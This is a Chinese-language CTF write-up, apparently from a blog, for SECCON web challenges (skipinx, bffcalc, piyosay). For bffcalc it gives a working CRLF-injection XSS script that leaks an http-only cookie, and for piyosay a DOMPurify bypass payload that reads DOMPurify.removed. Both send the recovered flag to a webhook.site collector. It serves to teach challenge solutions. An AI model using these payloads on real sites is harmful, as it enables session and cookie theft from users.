http://skipinx.seccon.games:8080/?proxy=1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

# SECCON{sometimes_deFault_options_are_useful_to_bypa55}

bffcalc

它有個明顯的 XSS 在，然而 flag 是放在 http-only cookie 裡面所以不能直接拿到。不過這提最有趣的地方是它有個自己弄的 http proxy:

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"
    print(payload.encode())

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

測試了一下可以利用 req.path_info 包含 %0D%0A 等字元去 CRLF Injection，所以只要找方法用適當的劃分讓 Cookie 的部分想辦法讓 backend 回顯回來即可。

做一些測試後能發現 backend 會在遇到不正常的 http method 時直接把錯誤的 method name 回顯，所以透過 Content-Length 和 Connection: keep-alive 控制一下就能讓 flag 被當成 method name 回顯回來。

具體要讓 xss 執行的 script 如下:

;(async () => {
	document.cookie = 'long=l000000000000000000000000000000g'
	for (let i = 300; i < 500; i += 1) {
		fetch(
			'/' +
				encodeURIComponent(
					' HTTP/1.0\r\nConnection: keep-alive\r\n\r\nPOST /x HTTP/1.0\r\nConnection: keep-alive\r\nContent-Length: ' +
						i +
						'\r\n\r\n'
				),
			{ headers: { 'X-A': 'ASD' } }
		)
			.then(r => r.text())
			.then(res => {
				if (res.includes('SECCON'))
					return fetch('https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?result=' + i, {
						body: res,
						method: 'POST'
					})
			})
	}
})()

把它放在 webhook.site 的 response 中然後用 iframe + script 執行即可:

<iframe srcdoc="<script src='https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f'></script>"></iframe>

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

piyosay

一樣是 client side 的題目，關鍵的 code 如下:

<script>
	trustedTypes.createPolicy('default', {
		createHTML: unsafe => {
			return DOMPurify.sanitize(unsafe).replace(/SECCON{.+}/g, () => {
				// Delete a secret in RegExp
				''.match(/^$/)
				return 'SECCON{REDACTED}'
			})
		}
	})
</script>
<script>
	const get = path => {
		return path.split('/').reduce((obj, key) => obj[key], document.all)
	}

	const init = async () => {
		const emojis = await (await fetch('/api/emojis')).json()
		const fragment = document.createDocumentFragment()
		for (const emoji of emojis) {
			const elm = document.createElement('p')
			elm.innerHTML = emoji
			fragment.appendChild(elm)
		}
		get('emojis').appendChild(fragment)

		get('piyo').innerHTML = '🐥/🐣/🐤'.split('/')[(Math.random() * 3) | 0]
	}

	const main = async () => {
		const params = new URLSearchParams(location.search)

		const message = `${params.get('message')}${document.cookie.split('FLAG=')[1] ?? 'SECCON{dummy}'}`
		// Delete a secret in document.cookie
		document.cookie = 'FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT'
		get('message').innerHTML = message

		const emoji = get(params.get('emoji'))
		get('message').innerHTML = get('message').innerHTML.replace(/{{emoji}}/g, emoji)
	}

	document.addEventListener('DOMContentLoaded', async () => {
		await init()
		await main()
	})
</script>

雖然看起來 get('message').innerHTML = message 可以直接 xss，但因為它有弄 trusted types 的緣故還是要繞 DOMPurify。

繞法也很簡單，因為它會在 sanitize 後才把 SECCON{.*} replace 掉，所以

SECCON{<p data-x="}<img src onerror='alert(1)'>">

就能繞過保護得到 XSS 了。

不過這題的難點顯然不在於此，因為原本在 document.cookie 中的 flag 消失已經被清除了，而 RegExp.input 和 RegExp.$_ 也被作者用 ''.match(/^$/) 擋住了，所以需要找找有沒有什麼地方有殘留 flag。

仔細想想會發現 flag 會經過的函數除了那個 replace 以外就只有 DOMPurify.sanitize，所以應該是不會有殘留的對吧…? 其實關鍵就在這邊，因為 DOMPurify 其實有個 DOMPurify.removed 的 array 會記錄下所有被移除掉的 elements，所以只要在 message 的尾端塞 <script>，那包含 flag 的那個 <script> 就會被放到裡面去，然後存取 DOMPurify.removed[0].element.textContent 就能找回 flag 了。

不過後面要注意的一點是第二個 innerHTML assignment 也會把 DOMPurify.removed 清空，所以要讓 const emoji = ... 那行 error 才能讓後面不執行。

SECCON{<p data-x="}<img src onerror='flag=DOMPurify.removed[0].element.textContent;(new Image).src=\`https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?flag=\`+flag'>">
<script>

http://web:3000/result?emoji=asd%2Fb&message=%0ASECCON%7B%3Cp+data-x%3D%22%7D%3Cimg+src+onerror%3D%27flag%3DDOMPurify.removed%5B0%5D.element.textContent%3B%28new+Image%29.src%3D%60https%3A%2F%2Fwebhook.site%2F78142dca-2eba-4d75-8b99-107dbe2a598f%3Fflag%3D%60%2Bflag%27%3E%22%3E%0A%3Cscript%3E%0A

SECCON{w0w_yoU_div3d_deeeeeep_iNto_DOMPurify}

Crypto#

pqpq#

BBB#

this_is_not_lsb#

insufficient#

witches_symmetric_exam#

janken vs kurenaif#

Web#

skipinx#

bffcalc#

piyosay#